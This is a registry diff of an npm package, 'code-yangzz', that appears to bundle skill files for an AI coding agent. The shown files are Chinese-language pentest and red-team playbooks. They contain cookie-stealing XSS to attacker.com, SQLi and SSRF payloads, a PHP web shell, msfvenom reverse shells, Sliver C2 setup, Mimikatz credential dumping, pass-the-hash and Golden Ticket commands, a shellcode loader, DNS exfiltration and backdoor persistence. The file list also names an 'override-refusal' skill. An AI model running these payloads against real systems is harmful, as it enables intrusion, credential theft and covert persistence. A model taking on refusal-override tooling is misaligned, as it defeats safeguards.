code-yangzz 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (108) hide show
  1. package/README.md +102 -0
  2. package/agents/meta-artisan.md +164 -0
  3. package/agents/meta-conductor.md +482 -0
  4. package/agents/meta-genesis.md +165 -0
  5. package/agents/meta-librarian.md +213 -0
  6. package/agents/meta-prism.md +268 -0
  7. package/agents/meta-scout.md +173 -0
  8. package/agents/meta-sentinel.md +161 -0
  9. package/agents/meta-warden.md +304 -0
  10. package/bin/install.js +390 -0
  11. package/bin/lib/utils.js +72 -0
  12. package/bin/lib/watermark.js +176 -0
  13. package/config/CLAUDE.md +363 -0
  14. package/config/settings.json +120 -0
  15. package/hooks/block-dangerous-bash.mjs +36 -0
  16. package/hooks/post-console-log-warn.mjs +27 -0
  17. package/hooks/post-format.mjs +24 -0
  18. package/hooks/post-typecheck.mjs +27 -0
  19. package/hooks/pre-git-push-confirm.mjs +19 -0
  20. package/hooks/stop-completion-guard.mjs +159 -0
  21. package/hooks/stop-console-log-audit.mjs +44 -0
  22. package/hooks/subagent-context.mjs +27 -0
  23. package/hooks/user-prompt-submit.js +233 -0
  24. package/package.json +36 -0
  25. package/prompt-optimizer/prompt-optimizer-meta.md +159 -0
  26. package/skills/agent-teams/SKILL.md +215 -0
  27. package/skills/domains/ai/SKILL.md +34 -0
  28. package/skills/domains/ai/agent-dev.md +242 -0
  29. package/skills/domains/ai/llm-security.md +288 -0
  30. package/skills/domains/ai/prompt-and-eval.md +279 -0
  31. package/skills/domains/ai/rag-system.md +542 -0
  32. package/skills/domains/architecture/SKILL.md +42 -0
  33. package/skills/domains/architecture/api-design.md +225 -0
  34. package/skills/domains/architecture/caching.md +298 -0
  35. package/skills/domains/architecture/cloud-native.md +285 -0
  36. package/skills/domains/architecture/message-queue.md +328 -0
  37. package/skills/domains/architecture/security-arch.md +297 -0
  38. package/skills/domains/data-engineering/SKILL.md +207 -0
  39. package/skills/domains/development/SKILL.md +46 -0
  40. package/skills/domains/development/cpp.md +246 -0
  41. package/skills/domains/development/go.md +323 -0
  42. package/skills/domains/development/java.md +277 -0
  43. package/skills/domains/development/python.md +288 -0
  44. package/skills/domains/development/rust.md +313 -0
  45. package/skills/domains/development/shell.md +313 -0
  46. package/skills/domains/development/typescript.md +277 -0
  47. package/skills/domains/devops/SKILL.md +39 -0
  48. package/skills/domains/devops/cost-optimization.md +271 -0
  49. package/skills/domains/devops/database.md +217 -0
  50. package/skills/domains/devops/devsecops.md +198 -0
  51. package/skills/domains/devops/git-workflow.md +181 -0
  52. package/skills/domains/devops/observability.md +279 -0
  53. package/skills/domains/devops/performance.md +335 -0
  54. package/skills/domains/devops/testing.md +283 -0
  55. package/skills/domains/frontend-design/SKILL.md +38 -0
  56. package/skills/domains/frontend-design/agents/openai.yaml +4 -0
  57. package/skills/domains/frontend-design/claymorphism/SKILL.md +119 -0
  58. package/skills/domains/frontend-design/claymorphism/references/tokens.css +52 -0
  59. package/skills/domains/frontend-design/component-patterns.md +202 -0
  60. package/skills/domains/frontend-design/engineering.md +287 -0
  61. package/skills/domains/frontend-design/glassmorphism/SKILL.md +140 -0
  62. package/skills/domains/frontend-design/glassmorphism/references/tokens.css +32 -0
  63. package/skills/domains/frontend-design/liquid-glass/SKILL.md +137 -0
  64. package/skills/domains/frontend-design/liquid-glass/references/tokens.css +81 -0
  65. package/skills/domains/frontend-design/neubrutalism/SKILL.md +143 -0
  66. package/skills/domains/frontend-design/neubrutalism/references/tokens.css +44 -0
  67. package/skills/domains/frontend-design/state-management.md +680 -0
  68. package/skills/domains/frontend-design/ui-aesthetics.md +110 -0
  69. package/skills/domains/frontend-design/ux-principles.md +156 -0
  70. package/skills/domains/infrastructure/SKILL.md +200 -0
  71. package/skills/domains/mobile/SKILL.md +224 -0
  72. package/skills/domains/orchestration/SKILL.md +29 -0
  73. package/skills/domains/orchestration/multi-agent.md +263 -0
  74. package/skills/domains/security/SKILL.md +72 -0
  75. package/skills/domains/security/blue-team.md +436 -0
  76. package/skills/domains/security/code-audit.md +265 -0
  77. package/skills/domains/security/pentest.md +226 -0
  78. package/skills/domains/security/red-team.md +374 -0
  79. package/skills/domains/security/threat-intel.md +372 -0
  80. package/skills/domains/security/vuln-research.md +369 -0
  81. package/skills/meta-theory/SKILL.md +878 -0
  82. package/skills/meta-theory/references/create-agent.md +248 -0
  83. package/skills/meta-theory/references/dev-governance.md +1108 -0
  84. package/skills/meta-theory/references/intent-amplification.md +190 -0
  85. package/skills/meta-theory/references/meta-theory.md +346 -0
  86. package/skills/meta-theory/references/rhythm-orchestration.md +257 -0
  87. package/skills/meta-theory/references/ten-step-governance.md +285 -0
  88. package/skills/orchestration/multi-agent/SKILL.md +493 -0
  89. package/skills/run_skill.js +128 -0
  90. package/skills/tools/gen-docs/SKILL.md +115 -0
  91. package/skills/tools/gen-docs/agents/openai.yaml +4 -0
  92. package/skills/tools/gen-docs/scripts/doc_generator.js +435 -0
  93. package/skills/tools/lib/shared.js +98 -0
  94. package/skills/tools/override-refusal/SKILL.md +55 -0
  95. package/skills/tools/override-refusal/agents/openai.yaml +4 -0
  96. package/skills/tools/override-refusal/scripts/refusal_rewriter.js +229 -0
  97. package/skills/tools/verify-change/SKILL.md +139 -0
  98. package/skills/tools/verify-change/agents/openai.yaml +4 -0
  99. package/skills/tools/verify-change/scripts/change_analyzer.js +289 -0
  100. package/skills/tools/verify-module/SKILL.md +126 -0
  101. package/skills/tools/verify-module/agents/openai.yaml +4 -0
  102. package/skills/tools/verify-module/scripts/module_scanner.js +171 -0
  103. package/skills/tools/verify-quality/SKILL.md +159 -0
  104. package/skills/tools/verify-quality/agents/openai.yaml +4 -0
  105. package/skills/tools/verify-quality/scripts/quality_checker.js +337 -0
  106. package/skills/tools/verify-security/SKILL.md +142 -0
  107. package/skills/tools/verify-security/agents/openai.yaml +4 -0
  108. package/skills/tools/verify-security/scripts/security_scanner.js +283 -0
@@ -0,0 +1,226 @@
1
+ ---
2
+ name: pentest
3
+ description: 全栈渗透测试。Web渗透、API安全、内网渗透、OWASP Top 10。当用户提到渗透测试、Web安全、API安全、漏洞挖掘、Burp、XSS、SQLi、SSRF、越权、BOLA时使用。
4
+ ---
5
+
6
+ # 🔥 赤焰技能文档 · 渗透测试 (Penetration Testing)
7
+
8
+
9
+ ## 渗透测试流程
10
+
11
+ ```
12
+ ┌─────────────────────────────────────────────────────────────┐
13
+ │ 渗透测试流程 │
14
+ ├─────────────────────────────────────────────────────────────┤
15
+ │ Phase 1: 信息收集 │
16
+ │ ├─ 目标识别 → 技术栈指纹 → WAF检测 → 端口扫描 │
17
+ │ └─ 目录扫描 → 参数发现 → JS分析 │
18
+ │ ↓ │
19
+ │ Phase 2: 漏洞扫描 │
20
+ │ ├─ OWASP Top 10 全覆盖 │
21
+ │ ├─ 技术栈特定漏洞 │
22
+ │ └─ 业务逻辑漏洞 │
23
+ │ ↓ │
24
+ │ Phase 3: 漏洞利用 │
25
+ │ ├─ PoC验证 → 数据提取 → 权限提升 │
26
+ │ └─ 横向移动 → 持久化 │
27
+ │ ↓ │
28
+ │ Phase 4: 报告输出 │
29
+ │ └─ 按严重性分级 → 修复建议 → 复测验证 │
30
+ └─────────────────────────────────────────────────────────────┘
31
+ ```
32
+
33
+ ## OWASP Top 10 测试
34
+
35
+ | 漏洞 | 测试方法 | Payload 示例 |
36
+ |------|----------|--------------|
37
+ | A01 访问控制 | IDOR、越权、JWT伪造 | 替换ID访问他人数据 |
38
+ | A02 加密失败 | HTTPS、敏感数据明文 | 抓包分析 |
39
+ | A03 注入 | SQLi、XSS、CMDi、SSTI | `' OR '1'='1` |
40
+ | A04 不安全设计 | 业务逻辑漏洞 | 流程绕过 |
41
+ | A05 配置错误 | 默认凭证、目录遍历 | `/admin` |
42
+ | A06 脆弱组件 | CVE扫描 | Nuclei模板 |
43
+ | A07 认证失败 | 弱密码、会话固定 | 爆破、重放 |
44
+ | A08 数据完整性 | 反序列化 | 恶意对象 |
45
+ | A09 日志不足 | 敏感信息泄露 | 错误信息 |
46
+ | A10 SSRF | 内网探测 | `http://127.0.0.1` |
47
+
48
+ ## Web 渗透测试
49
+
50
+ ### XSS Payload
51
+ ```html
52
+ <script>alert(1)</script>
53
+ <img src=x onerror=alert(1)>
54
+ <svg/onload=alert(1)>
55
+ javascript:alert(1)
56
+ <img src=x onerror="fetch('http://attacker.com/?c='+document.cookie)">
57
+ ```
58
+
59
+ ### SQL 注入
60
+ ```sql
61
+ -- 检测
62
+ ' OR '1'='1
63
+ 1' AND SLEEP(5)--
64
+ 1 UNION SELECT 1,2,3--
65
+
66
+ -- 数据提取
67
+ 1 UNION SELECT table_name,2 FROM information_schema.tables--
68
+ 1 UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'--
69
+ ```
70
+
71
+ ### SSRF Payload
72
+ ```
73
+ http://127.0.0.1:80
74
+ http://169.254.169.254/latest/meta-data/
75
+ file:///etc/passwd
76
+ gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0ainfo
77
+ dict://127.0.0.1:6379/info
78
+ ```
79
+
80
+ ### 文件上传绕过
81
+ ```
82
+ shell.php.jpg # 双扩展名
83
+ shell.phtml # 替代扩展名
84
+ shell.php%00.jpg # 空字节截断
85
+ shell.php/. # 路径混淆
86
+ Content-Type: image/jpeg # MIME绕过
87
+ GIF89a<?php system($_GET['cmd']);?> # 文件头绕过
88
+ ```
89
+
90
+ ## API 安全测试
91
+
92
+ ### OWASP API Top 10
93
+
94
+ | 风险 | 描述 | 测试方法 |
95
+ |------|------|----------|
96
+ | API1 BOLA | 对象级授权失效 | 替换ID访问他人数据 |
97
+ | API2 认证失效 | 认证机制缺陷 | 弱Token、无限制 |
98
+ | API3 属性级授权 | 返回过多数据 | 检查响应字段 |
99
+ | API4 资源消耗 | 无速率限制 | 批量请求测试 |
100
+ | API5 BFLA | 功能级授权失效 | 低权限调用高权限API |
101
+
102
+ ### BOLA 测试
103
+ ```python
104
+ def test_bola(base_url, token):
105
+ """测试对象级授权漏洞"""
106
+ headers = {"Authorization": f"Bearer {token}"}
107
+ my_id = 100
108
+
109
+ for other_id in [1, 2, 99, 101, 999]:
110
+ resp = requests.get(f"{base_url}/api/users/{other_id}", headers=headers)
111
+ if resp.status_code == 200:
112
+ print(f"[VULN] BOLA: Can access user {other_id}")
113
+ ```
114
+
115
+ ### JWT 测试
116
+ ```python
117
+ import jwt
118
+
119
+ def test_jwt_vulns(token):
120
+ """JWT 常见漏洞测试"""
121
+ payload = jwt.decode(token, options={"verify_signature": False})
122
+
123
+ # 1. alg=none 绕过
124
+ none_token = jwt.encode(payload, None, algorithm="none")
125
+
126
+ # 2. 弱密钥测试
127
+ weak_secrets = ["secret", "password", "123456", "key"]
128
+ for secret in weak_secrets:
129
+ try:
130
+ jwt.decode(token, secret, algorithms=["HS256"])
131
+ print(f"[VULN] Weak secret: {secret}")
132
+ except: pass
133
+ ```
134
+
135
+ ### GraphQL 测试
136
+ ```graphql
137
+ # 内省查询 - 获取 Schema
138
+ { __schema { types { name fields { name } } } }
139
+
140
+ # 批量查询攻击
141
+ query {
142
+ user1: user(id: 1) { email }
143
+ user2: user(id: 2) { email }
144
+ }
145
+
146
+ # 深度嵌套 DoS
147
+ { user(id: 1) { friends { friends { friends { name } } } } }
148
+ ```
149
+
150
+ ## 技术栈特定测试
151
+
152
+ ### Laravel/PHP
153
+ ```yaml
154
+ critical_paths:
155
+ - /install # CRITICAL - 安装漏洞
156
+ - /composer.json # HIGH - 依赖泄露
157
+ - /.env # HIGH - 配置泄露
158
+ - /storage/logs # MEDIUM - 日志泄露
159
+ ```
160
+
161
+ ### Spring Boot
162
+ ```yaml
163
+ critical_paths:
164
+ - /actuator/env # CRITICAL - 环境变量
165
+ - /actuator/heapdump # CRITICAL - 内存转储
166
+ - /actuator/mappings # HIGH - 路由泄露
167
+ ```
168
+
169
+ ### WordPress
170
+ ```yaml
171
+ critical_paths:
172
+ - /wp-admin/install.php # CRITICAL - 重装漏洞
173
+ - /wp-config.php.bak # HIGH - 配置备份
174
+ - /xmlrpc.php # MEDIUM - 爆破入口
175
+ ```
176
+
177
+ ## 常用工具
178
+
179
+ | 工具 | 用途 |
180
+ |------|------|
181
+ | Burp Suite | 代理抓包、漏洞扫描 |
182
+ | sqlmap | SQL注入自动化 |
183
+ | Nuclei | 漏洞模板扫描 |
184
+ | ffuf | 目录/参数爆破 |
185
+ | httpx | 批量探测 |
186
+ | XSStrike | XSS检测 |
187
+ | jwt_tool | JWT测试 |
188
+ | Arjun | 参数发现 |
189
+
190
+ ## Burp Suite 技巧
191
+
192
+ ```
193
+ # Intruder 爆破
194
+ Payload: 字典/数字范围
195
+ Position: 标记参数 §param§
196
+
197
+ # Repeater 手动测试
198
+ 修改参数 → 发送 → 分析响应
199
+
200
+ # 插件推荐
201
+ - HaE (高亮敏感信息)
202
+ - Autorize (越权检测)
203
+ - JSON Beautifier
204
+ ```
205
+
206
+ ## 报告格式
207
+
208
+ ```markdown
209
+ # 渗透测试报告
210
+
211
+ ## 🔴 CRITICAL
212
+ ### 1. SQL注入 - /api/users
213
+ - **位置**: id 参数
214
+ - **PoC**: `id=1' AND SLEEP(5)--`
215
+ - **影响**: 数据库完全泄露
216
+ - **修复**: 使用参数化查询
217
+
218
+ ## 🟠 HIGH
219
+ ...
220
+
221
+ ## 🟡 MEDIUM
222
+ ...
223
+ ```
224
+
225
+ ---
226
+
@@ -0,0 +1,374 @@
1
+ ---
2
+ name: red-team
3
+ description: 红队攻击技术。PoC开发、C2框架、横向移动、权限提升、免杀技术。当用户提到红队、PoC、C2、横向移动、PTH、免杀、Cobalt Strike、Sliver、提权时使用。
4
+ ---
5
+
6
+ # 🔥 赤焰技能文档 · 红队攻击 (Red Team)
7
+
8
+
9
+ ## 攻击链 (Kill Chain)
10
+
11
+ ```
12
+ 侦察 → 武器化 → 投递 → 利用 → 安装 → C2 → 行动
13
+ │ │ │ │ │ │ │
14
+ └─ OSINT ─┴─ PoC ─┴─ 钓鱼 ─┴─ 提权 ─┴─ 持久 ─┴─ 横向
15
+ ```
16
+
17
+ ## PoC 开发
18
+
19
+ ### 标准 PoC 结构
20
+ ```python
21
+ #!/usr/bin/env python3
22
+ """
23
+ 漏洞名称: CVE-XXXX-XXXX
24
+ 影响版本: x.x.x - x.x.x
25
+ 漏洞类型: RCE/SQLi/XSS/SSRF
26
+ """
27
+ import requests
28
+ import argparse
29
+
30
+ class POC:
31
+ def __init__(self, target: str):
32
+ self.target = target.rstrip('/')
33
+ self.session = requests.Session()
34
+ self.session.headers = {
35
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
36
+ }
37
+
38
+ def check(self) -> bool:
39
+ """无害检测"""
40
+ try:
41
+ # 使用延时、DNS外带等无害方式验证
42
+ pass
43
+ except Exception as e:
44
+ return False
45
+
46
+ def exploit(self, cmd: str) -> str:
47
+ """漏洞利用"""
48
+ pass
49
+
50
+ def main():
51
+ parser = argparse.ArgumentParser()
52
+ parser.add_argument('-u', '--url', required=True)
53
+ parser.add_argument('-c', '--cmd', default='id')
54
+ args = parser.parse_args()
55
+
56
+ poc = POC(args.url)
57
+ if poc.check():
58
+ print(f"[+] Vulnerable!")
59
+ print(poc.exploit(args.cmd))
60
+ else:
61
+ print("[-] Not vulnerable")
62
+
63
+ if __name__ == '__main__':
64
+ main()
65
+ ```
66
+
67
+ ## C2 框架
68
+
69
+ ### Sliver (推荐开源)
70
+ ```bash
71
+ # 安装
72
+ curl https://sliver.sh/install | sudo bash
73
+
74
+ # 生成 Implant
75
+ sliver > generate --mtls 192.168.1.100 --os windows --save implant.exe
76
+ sliver > generate --http 192.168.1.100 --os linux --save implant
77
+
78
+ # 启动监听
79
+ sliver > mtls --lhost 0.0.0.0 --lport 8888
80
+ sliver > http --lhost 0.0.0.0 --lport 80
81
+
82
+ # 会话操作
83
+ sliver > sessions
84
+ sliver > use SESSION_ID
85
+ sliver (SESSION) > shell
86
+ sliver (SESSION) > download /etc/passwd
87
+ sliver (SESSION) > upload local remote
88
+ ```
89
+
90
+ ### Metasploit
91
+ ```bash
92
+ # 生成 Payload
93
+ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe
94
+
95
+ # 监听
96
+ msf6 > use exploit/multi/handler
97
+ msf6 > set payload windows/x64/meterpreter/reverse_tcp
98
+ msf6 > set LHOST 0.0.0.0
99
+ msf6 > run
100
+
101
+ # Meterpreter
102
+ meterpreter > getsystem
103
+ meterpreter > hashdump
104
+ meterpreter > load kiwi
105
+ meterpreter > creds_all
106
+ ```
107
+
108
+ ### 简易 HTTP C2
109
+ ```python
110
+ # Server
111
+ from flask import Flask, request, jsonify
112
+ import base64
113
+
114
+ app = Flask(__name__)
115
+ agents, tasks = {}, {}
116
+
117
+ @app.route('/beacon/<agent_id>')
118
+ def beacon(agent_id):
119
+ if tasks.get(agent_id):
120
+ return jsonify({"task": tasks[agent_id].pop(0)})
121
+ return jsonify({"task": None})
122
+
123
+ @app.route('/result/<agent_id>', methods=['POST'])
124
+ def result(agent_id):
125
+ output = base64.b64decode(request.json['output']).decode()
126
+ print(f"[{agent_id}] {output}")
127
+ return jsonify({"status": "ok"})
128
+ ```
129
+
130
+ ## 横向移动
131
+
132
+ ### Pass-the-Hash (PTH)
133
+ ```bash
134
+ # Impacket
135
+ psexec.py -hashes :NTLM_HASH administrator@TARGET
136
+ wmiexec.py -hashes :NTLM_HASH administrator@TARGET
137
+ smbexec.py -hashes :NTLM_HASH administrator@TARGET
138
+
139
+ # CrackMapExec
140
+ crackmapexec smb TARGET -u admin -H HASH -x "whoami"
141
+ crackmapexec smb 192.168.1.0/24 -u admin -H HASH --shares
142
+
143
+ # Mimikatz
144
+ sekurlsa::pth /user:admin /domain:DOMAIN /ntlm:HASH /run:cmd.exe
145
+ ```
146
+
147
+ ### Pass-the-Ticket (PTT)
148
+ ```bash
149
+ # 导出票据
150
+ mimikatz # sekurlsa::tickets /export
151
+
152
+ # 注入票据
153
+ mimikatz # kerberos::ptt ticket.kirbi
154
+
155
+ # Rubeus
156
+ Rubeus.exe ptt /ticket:ticket.kirbi
157
+ ```
158
+
159
+ ### Kerberos 攻击
160
+ ```bash
161
+ # Kerberoasting
162
+ GetUserSPNs.py DOMAIN/user:pass -dc-ip DC_IP -request
163
+
164
+ # AS-REP Roasting
165
+ GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP
166
+
167
+ # Golden Ticket
168
+ mimikatz # kerberos::golden /user:admin /domain:DOMAIN /sid:S-1-5-21-xxx /krbtgt:HASH /ptt
169
+ ```
170
+
171
+ ### 远程执行方法
172
+ ```bash
173
+ # WinRM
174
+ evil-winrm -i TARGET -u user -H HASH
175
+
176
+ # PowerShell Remoting
177
+ Enter-PSSession -ComputerName TARGET -Credential DOMAIN\user
178
+ Invoke-Command -ComputerName TARGET -ScriptBlock {whoami}
179
+
180
+ # WMI
181
+ wmic /node:TARGET /user:admin /password:pass process call create "cmd.exe /c whoami"
182
+ ```
183
+
184
+ ## 权限提升
185
+
186
+ ### Windows 提权
187
+ ```powershell
188
+ # 信息收集
189
+ whoami /priv
190
+ systeminfo
191
+ net user
192
+ net localgroup administrators
193
+
194
+ # 常见提权路径
195
+ - SeImpersonatePrivilege → Potato系列
196
+ - 服务配置错误 → 服务路径劫持
197
+ - 计划任务 → 任务劫持
198
+ - AlwaysInstallElevated → MSI提权
199
+ - 未打补丁 → 内核漏洞
200
+
201
+ # Potato 提权
202
+ JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t *
203
+ PrintSpoofer.exe -i -c cmd
204
+ GodPotato.exe -cmd "cmd /c whoami"
205
+ ```
206
+
207
+ ### Linux 提权
208
+ ```bash
209
+ # 信息收集
210
+ id
211
+ uname -a
212
+ cat /etc/passwd
213
+ sudo -l
214
+ find / -perm -4000 2>/dev/null
215
+
216
+ # 常见提权路径
217
+ - SUID 二进制 → GTFOBins
218
+ - sudo 配置错误 → sudo提权
219
+ - 内核漏洞 → DirtyPipe/DirtyCow
220
+ - 定时任务 → cron劫持
221
+ - 容器逃逸 → Docker/K8s
222
+
223
+ # SUID 利用
224
+ find / -perm -4000 2>/dev/null
225
+ # 查 GTFOBins: https://gtfobins.github.io/
226
+ ```
227
+
228
+ ## 免杀技术
229
+
230
+ ### 基础免杀
231
+ ```python
232
+ # 1. 字符串混淆
233
+ import base64
234
+ payload = base64.b64encode(b"malicious_code").decode()
235
+ exec(base64.b64decode(payload))
236
+
237
+ # 2. 动态加载
238
+ import importlib
239
+ module = importlib.import_module("os")
240
+ getattr(module, "system")("whoami")
241
+
242
+ # 3. 加密 Payload
243
+ from Crypto.Cipher import AES
244
+ # 运行时解密执行
245
+ ```
246
+
247
+ ### Shellcode 加载
248
+ ```python
249
+ import ctypes
250
+
251
+ shellcode = b"\xfc\x48\x83..." # msfvenom 生成
252
+
253
+ # Windows
254
+ ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
255
+ ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
256
+ ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
257
+ ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
258
+ ```
259
+
260
+ ### 隐蔽通信
261
+ ```python
262
+ # DNS 隧道
263
+ def dns_exfil(data, domain):
264
+ encoded = base64.b32encode(data.encode()).decode()
265
+ for chunk in [encoded[i:i+63] for i in range(0, len(encoded), 63)]:
266
+ dns.resolver.resolve(f"{chunk}.{domain}", 'A')
267
+
268
+ # 域前置
269
+ def domain_fronting(real_host, cdn_domain, data):
270
+ headers = {"Host": real_host}
271
+ requests.post(f"https://{cdn_domain}/api", json=data, headers=headers)
272
+ ```
273
+
274
+ ## 持久化
275
+
276
+ ### Windows
277
+ ```powershell
278
+ # 注册表
279
+ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\backdoor.exe"
280
+
281
+ # 计划任务
282
+ schtasks /create /tn "Update" /tr "C:\backdoor.exe" /sc onlogon
283
+
284
+ # 服务
285
+ sc create backdoor binPath= "C:\backdoor.exe" start= auto
286
+
287
+ # WMI 事件订阅
288
+ # 进程启动时触发
289
+ ```
290
+
291
+ ### Linux
292
+ ```bash
293
+ # Crontab
294
+ echo "* * * * * /tmp/backdoor" >> /var/spool/cron/root
295
+
296
+ # SSH 密钥
297
+ echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
298
+
299
+ # 服务
300
+ # 创建 systemd service
301
+
302
+ # LD_PRELOAD
303
+ echo "/tmp/evil.so" >> /etc/ld.so.preload
304
+ ```
305
+
306
+ ## 工具清单
307
+
308
+ | 工具 | 用途 |
309
+ |------|------|
310
+ | Sliver | 开源 C2 框架 |
311
+ | Metasploit | 渗透测试框架 |
312
+ | Cobalt Strike | 商业 C2 |
313
+ | Impacket | Windows 协议工具 |
314
+ | CrackMapExec | 批量横向 |
315
+ | Mimikatz | 凭证提取 |
316
+ | Rubeus | Kerberos 工具 |
317
+ | BloodHound | AD 路径分析 |
318
+
319
+ ## 供应链安全
320
+
321
+ ### 供应链攻击向量
322
+ ```
323
+ 源代码 → 构建 → 制品 → 分发 → 部署 → 运行
324
+ │ │ │ │ │ │
325
+ 投毒 篡改 后门 劫持 提权 横向
326
+ ```
327
+
328
+ | 阶段 | 攻击方式 | 示例 |
329
+ |------|----------|------|
330
+ | 源代码 | 依赖投毒 | event-stream、ua-parser-js |
331
+ | 构建 | CI/CD 劫持 | SolarWinds、CodeCov |
332
+ | 制品 | 恶意包 | PyPI/npm 钓鱼包 |
333
+ | 部署 | 配置篡改 | K8s YAML 注入 |
334
+ | 运行 | 容器逃逸 | 特权容器、内核漏洞 |
335
+
336
+ ### SBOM + 依赖扫描
337
+ ```bash
338
+ # SBOM 生成 (Syft)
339
+ syft nginx:latest -o cyclonedx-json > sbom.json
340
+
341
+ # 漏洞扫描 (Trivy)
342
+ trivy image --severity HIGH,CRITICAL nginx:latest
343
+ trivy fs --scanners vuln,secret,misconfig .
344
+
345
+ # 依赖扫描 (Grype)
346
+ grype sbom:./sbom.json
347
+ ```
348
+
349
+ ### 签名验证 (Sigstore/Cosign)
350
+ ```bash
351
+ cosign sign --key cosign.key myregistry/myapp:v1.0
352
+ cosign verify --key cosign.pub myregistry/myapp:v1.0
353
+ cosign attach sbom --sbom sbom.json myregistry/myapp:v1.0
354
+ cosign verify-attestation --key cosign.pub myregistry/myapp:v1.0
355
+ ```
356
+
357
+ ### SLSA 等级
358
+ ```
359
+ Level 1: 文档化构建 Level 2: 防篡改+签名来源
360
+ Level 3: 安全平台+隔离构建 Level 4: 双方审查+密封构建
361
+ ```
362
+
363
+ ### 供应链安全检查清单
364
+ ```yaml
365
+ 源代码:
366
+ - [ ] 分支保护 + 代码审查 + 依赖锁定 + 密钥泄露扫描
367
+ 构建与制品:
368
+ - [ ] 托管CI/CD + 隔离构建 + 生成SBOM + 签名制品 + 漏洞扫描
369
+ 部署与运行:
370
+ - [ ] 验证签名(Cosign/SLSA) + 准入控制(Kyverno/OPA) + 运行时监控
371
+ ```
372
+
373
+ ---
374
+